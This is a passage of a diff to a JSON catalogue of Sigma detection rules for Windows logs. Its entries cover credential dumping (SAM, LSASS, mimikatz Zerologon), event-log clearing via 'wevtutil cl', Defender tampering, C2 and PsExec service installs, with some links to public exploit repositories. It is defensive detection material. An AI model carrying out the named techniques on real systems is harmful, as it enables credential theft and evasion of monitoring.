"tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/06/10", + "filename": "win_system_pcap_drivers.yml", + "author": "Cian Heasley", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", + "uuid": "18f37338-b9bd-4117-a039-280c81f7a596", + "value": "Zerologon Exploitation Using Well-known Tools", + "meta": { + "refs": [ + "https://www.secura.com/blog/zero-logon", + "https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml" + ], + "tags": [ + "attack.t1210", + "attack.lateral_movement" + ], + "creation_date": "2020/10/13", + "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", + "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", + "level": "critical", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", + "value": "PowerShell Scripts Installed as Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "win_system_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects QuarksPwDump clearing access history in hive", + "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b", + "value": "QuarksPwDump Clearing Access History", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_quarkspwdump_clearing_hive_access_history.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", + "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", + "value": "Rare Service Installations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2017/03/08", + "filename": "win_system_rare_service_installs.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", + "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885", + "value": "Potential RDP Exploit CVE-2019-0708", + "meta": { + "refs": [ + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/Ekultek/BlueKeep", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/05/24", + "filename": "win_system_rdp_potential_cve_2019_0708.yml", + "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", + "level": "medium", + "falsepositive": [ + "Bad connections or network interruptions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "d26ce60c-2151-403c-9a42-49420d87b5e4", + "value": "Hacktool Service Registration or Execution", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/03/21", + "filename": "win_system_service_install_hacktools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetSupport Manager service installation on the target system.", + "uuid": "2d510d8d-912b-45c5-b1df-36faa3d8c3f4", + "value": "NetSupport Manager Service Install", + "meta": { + "refs": [ + "http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_netsupport_manager.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/10/31", + "filename": "win_system_service_install_netsupport_manager.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PAExec service installation", + "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", + "value": "PAExec Service Installation", + "meta": { + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/10/26", + "filename": "win_system_service_install_paexec.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", + "uuid": "ee9ca27c-9bd7-4cee-9b01-6e906be7cae3", + "value": "New PDQDeploy Service - Server Side", + "meta": { + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/22", + "filename": "win_system_service_install_pdqdeploy.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", + "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", + "value": "New PDQDeploy Service - Client Side", + "meta": { + "refs": [ + "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/07/22", + "filename": "win_system_service_install_pdqdeploy_runner.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "42c575ea-e41e-41f1-b248-8093c3e82a28", + "value": "PsExec Service Installation", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "win_system_service_install_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Remote Utilities Host service installation on the target system.", + "uuid": "85cce894-dd8b-4427-a958-5cc47a4dc9b9", + "value": "Remote Utilities Host Service Install", + "meta": { + "refs": [ + "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/10/31", + "filename": "win_system_service_install_remote_utilities.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the tool" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", + "uuid": "31c51af6-e7aa-4da7-84d4-8f32cc580af2", + "value": "Sliver C2 Default Service Installation", + "meta": { + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2022/08/25", + "filename": "win_system_service_install_sliver.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", + "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", + "value": "New Service Uses Double Ampersand in Path", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/07/05", + "filename": "win_system_service_install_susp_double_ampersand.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", + "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", + "value": "DHCP Server Loaded the CallOut DLL", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_susp_dhcp_config.yml", + "author": "Dimitrios Slamaris", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", + "uuid": "75edd3fd-7146-48e5-9848-3013d7f0282c", + "value": "DHCP Server Error Failed Loading the CallOut DLL", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/15", + "filename": "win_system_susp_dhcp_config_failed.yml", + "author": "Dimitrios Slamaris, @atc_project (fix)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Core Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "100ef69e-3327-481c-8e5c-6d80d9507556", + "value": "System Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2022/05/17", + "filename": "win_system_susp_eventlog_cleared.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", + "uuid": "c4ff1eac-84ad-44dd-a6fb-d56a92fc43a9", + "value": "ProcessHacker Privilege Elevation", + "meta": { + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/05/27", + "filename": "win_system_susp_proceshacker.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", + "uuid": "91c49341-e2ef-40c0-ac45-49ec5c3fe26c", + "value": "RTCore Suspicious Service Installation", + "meta": { + "refs": [ + "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/30", + "filename": "win_system_susp_rtcore64_service_install.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", + "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", + "value": "SAM Dump to AppData", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2018/01/27", + "filename": "win_system_susp_sam_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious service installation commands", + "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", + "value": "Suspicious Service Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service installation in suspicious folder appdata", + "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", + "value": "Service Installation in Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_folder.yml", + "author": "pH-T", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service installation with suspicious folder patterns", + "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", + "value": "Service Installation with Suspicious Folder Pattern", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_folder_pattern.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious service installation scripts", + "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", + "value": "Suspicious Service Installation Script", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "car.2013-09-005", + "attack.t1543.003" + ], + "creation_date": "2022/03/18", + "filename": "win_system_susp_service_installation_script.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Update get some error Check if need a 0-days KB", + "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", + "value": "Windows Update Error", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" + ], + "tags": [ + "attack.impact", + "attack.resource_development", + "attack.t1584" + ], + "creation_date": "2021/12/04", + "filename": "win_system_susp_system_update_error.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", + "uuid": "52a85084-6989-40c3-8f32-091e12e17692", + "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919", + "meta": { + "refs": [ + "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/16", + "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", + "author": "Cybex", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", + "value": "Service Installed By Unusual Client - System", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/09/15", + "filename": "win_system_system_service_installation_by_unusal_client.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "system", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", + "value": "Tap Driver Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "win_system_tap_driver_installation.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects volume shadow copy mount via windows event log", + "uuid": "f512acbf-e662-4903-843e-97ce4652b740", + "value": "Volume Shadow Copy Mount", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + "filename": "win_system_volume_shadow_copy_mount.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "low", + "falsepositive": [ + "Legitimate use of volume shadow copy mounts (backups maybe)." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", + "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", + "value": "Vulnerable Netlogon Secure Channel Connection Allowed", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2020/09/15", + "filename": "win_system_vul_cve_2020_1472.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", + "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", + "value": "Exploit SamAccountName Spoofing with Kerberos", + "meta": { + "refs": [ + "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2021/12/15", + "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", + "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", + "value": "Rare Scheduled Task Creations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_rare_schtask_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.s0111", + "attack.t1053.005" + ], + "creation_date": "2017/03/17", + "filename": "win_rare_schtask_creation.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", + "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", + "value": "Ngrok Usage with Remote Desktop Service", + "meta": { + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://ngrok.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/04/29", + "filename": "win_terminalservices_rdp_ngrok.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Access to LSASS Process", + "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", + "value": "LSASS Access Detected via Attack Surface Reduction", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2018/08/26", + "filename": "win_defender_alert_lsass_access.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Google Chrome GoogleUpdate.exe", + "Some Taskmgr.exe related activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects triggering of AMSI by Windows Defender.", + "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", + "value": "Windows Defender AMSI Trigger Detected", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/09/14", + "filename": "win_defender_amsi_trigger.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender threat protection", + "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", + "value": "Windows Defender Threat Detection Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/07/28", + "filename": "win_defender_disabled.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", + "level": "low", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", + "value": "Windows Defender Exclusions Added", + "meta": { + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "win_defender_exclusions.yml", + "author": "Christian Burkard", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", + "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", + "value": "Windows Defender Exploit Guard Tamper", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/05", + "filename": "win_defender_exploit_guard_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", + "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", + "value": "Windows Defender Malware Detection History Deletion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ], + "creation_date": "2020/08/13", + "filename": "win_defender_history_delete.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Deletion of Defender malware detections history for legitimate reasons" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocking of process creations originating from PSExec and WMI commands", + "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", + "value": "PSExec and WMI Process Creations Block", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", + "https://twitter.com/duff22b/status/1280166329660497920", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1047", + "attack.t1569.002" + ], + "creation_date": "2020/07/14", + "filename": "win_defender_psexec_wmi_asr.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", + "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", + "value": "Microsoft Defender Tamper 